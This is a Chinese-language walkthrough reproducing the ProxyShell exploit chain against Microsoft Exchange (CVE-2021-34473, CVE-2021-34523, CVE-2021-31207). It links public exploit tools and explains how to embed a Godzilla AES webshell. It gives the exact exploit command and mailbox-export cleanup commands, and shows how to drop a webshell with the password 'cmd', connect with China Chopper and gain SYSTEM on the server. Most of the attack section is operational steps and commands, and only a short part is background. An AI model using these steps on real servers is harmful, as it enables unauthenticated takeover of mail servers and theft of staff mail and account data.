ProxyShell漏洞复现

漏洞介绍

国外安全研究人员在8月初公开了Microsoft Exchange多个高危漏洞(ProxyShell)利用的技术细节、PoC(概念验证代码)、EXP(漏洞利用代码)及利用视频。漏洞包括Exchange ACL绕过漏洞CVE-2021-34473、Exchange权限提升漏洞CVE-2021-34523和Exchange授权任意文件写入漏洞CVE-2021-31207)。

攻击者可通过组合使用上述漏洞在未经身份验证的情况下远程接管目标服务器。由于Exchange服务器一般承载着使用者单位人员信息的秘密,员工账号信息、邮件数据都在其中,一旦Exchange服务器被控制,将会造成严重后果。

由于国外安全研究人员将Exchange多个漏洞(ProxyShell)细节及部分PoC、EXP公开,意味着攻击者可根据这些技术细节披露的信息,在目标系统远程执行代码,使漏洞风险明显上升。

影响版本

1
2
3
4
Microsoft Exchange Server 2010
Microsoft Exchange Server 2013
Microsoft Exchange Server 2016
Microsoft Exchange Server 2019

利用思路

ProxyShell是利用了Exchange服务器对于路径的不准确过滤导致的路径混淆生成的SSRF,进而使攻击者通过访问PowerShell端点。而在PowerShell端点可以利用Remote PowerShell来将邮件信息打包到外部文件,而攻击者可以通过构造恶意邮件内容,利用文件写入写出webshell,从而达成命令执行。

利用条件

1
2
python >= 3.8
exchange的用户名

漏洞利用

下载工具

1
2
生成webshell:https://github.com/Ridter/proxyshell_payload
利用:https://github.com/dmaasland/proxyshell-poc

根据需要生成webshell,替换到proxyshell-poc中。默认情况下,生成的是一句话木马。

在proxyshell_payload.py中,修改末尾的webshell变量,将其替换为哥斯拉生成的aspx的webshell,需要注意的是经过测试CSharpDynamicPayload中的CSHAP_AES_BASE64,生成的webshell,需要将其中所有的Session替换成Application。

运行proxyshell_payload.py,将encode之后的内容,复制到proxyshell_rce.py的 314 行:

运行proxyshell_rce.py,获取exchange的 powershell 管理shell

1
2
3
python3.8 proxyshell_rce.py -u https://10.10.10.150 -e exchange@god.local
# -u excahnge的地址
# -e exchange的用户名

清理邮件导出请求(如果报错,多执行几次脚本即可)

1
2
Get-MailboxExportRequest
Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false

执行dropshell,即可写入webshell,返回webshell的地址,连接密码:cmd

1
dropshell 

使用菜刀连接shell

查看权限是system

Proxyshell_rce可以根据自己的需要修改生成shell的路径,只需要修改225行和 236行的两行内容,将其对应。

默认上传路径:C:\inetpub\wwwroot\aspnet_client